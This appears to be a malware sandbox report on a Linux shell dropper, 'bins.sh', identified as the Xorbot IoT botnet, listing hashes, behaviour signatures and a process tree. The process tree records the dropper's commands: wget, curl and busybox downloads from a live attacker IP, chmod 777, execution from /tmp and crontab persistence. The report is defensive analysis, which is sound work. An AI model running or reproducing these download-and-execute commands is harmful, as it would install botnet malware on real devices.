Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    21/01/2025, 16:23

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250121-tvsf5ssqeq
  • SHA256 b8aefbefcc615442bbe37e396f42d907370501cb113f355d3d0a71635c4b82b6
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2082) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:645
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:647
        • /usr/bin/wget
          wget http://94.154.35.94/bins/A80lLuj50X2izKUpxnU8bjVlRlRgnWInTZ
          2⤵
          • Writes file to tmp directory
          PID:649
        • /usr/bin/curl
          curl -O http://94.154.35.94/bins/A80lLuj50X2izKUpxnU8bjVlRlRgnWInTZ
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:674
        • /bin/busybox
          /bin/busybox wget http://94.154.35.94/bins/A80lLuj50X2izKUpxnU8bjVlRlRgnWInTZ
          2⤵
          • Writes file to tmp directory
          PID:675
        • /bin/chmod
          chmod 777 A80lLuj50X2izKUpxnU8bjVlRlRgnWInTZ
          2⤵
          • File and Directory Permissions Modification
          PID:680
        • /tmp/A80lLuj50X2izKUpxnU8bjVlRlRgnWInTZ
          ./A80lLuj50X2izKUpxnU8bjVlRlRgnWInTZ
          2⤵
          • Executes dropped EXE
          PID:681
        • /bin/rm
          rm A80lLuj50X2izKUpxnU8bjVlRlRgnWInTZ
          2⤵
            PID:683
          • /usr/bin/wget
            wget http://94.154.35.94/bins/51qfqTrPFCU0GOjnSZDmM5Jv2IEurbIgRI
            2⤵
            • Writes file to tmp directory
            PID:685
          • /usr/bin/curl
            curl -O http://94.154.35.94/bins/51qfqTrPFCU0GOjnSZDmM5Jv2IEurbIgRI
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:715
          • /bin/busybox
            /bin/busybox wget http://94.154.35.94/bins/51qfqTrPFCU0GOjnSZDmM5Jv2IEurbIgRI
            2⤵
            • Writes file to tmp directory
            PID:727
          • /bin/chmod
            chmod 777 51qfqTrPFCU0GOjnSZDmM5Jv2IEurbIgRI
            2⤵
            • File and Directory Permissions Modification
            PID:729
          • /tmp/51qfqTrPFCU0GOjnSZDmM5Jv2IEurbIgRI
            ./51qfqTrPFCU0GOjnSZDmM5Jv2IEurbIgRI
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:730
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:732
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:734
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:735
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:736
                • /bin/rm
                  rm 51qfqTrPFCU0GOjnSZDmM5Jv2IEurbIgRI
                  2⤵
                    PID:748
                  • /usr/bin/wget
                    wget http://94.154.35.94/bins/OLThQ8N2UDIzne6yw73Ufieza0Cps7OkG6
                    2⤵
                      PID:751

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

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                        Downloads

                        51qfqTrPFCU0GOjnSZDmM5Jv2IEurbIgRI
                        • Path /tmp/51qfqTrPFCU0GOjnSZDmM5Jv2IEurbIgRI
                        • Size 141KB
                        • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        A80lLuj50X2izKUpxnU8bjVlRlRgnWInTZ
                        • Path /tmp/A80lLuj50X2izKUpxnU8bjVlRlRgnWInTZ
                        • Size 99KB
                        • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        tmp.fnVBXx
                        • Path /var/spool/cron/crontabs/tmp.fnVBXx
                        • Size 210B
                        • SHA256 260d4a588d17229501aa6f64113fccee6200eb3feaeb512a1f4ad43fb67c9ac5
                        • MD5 SHA1 SHA512
                        Submit Download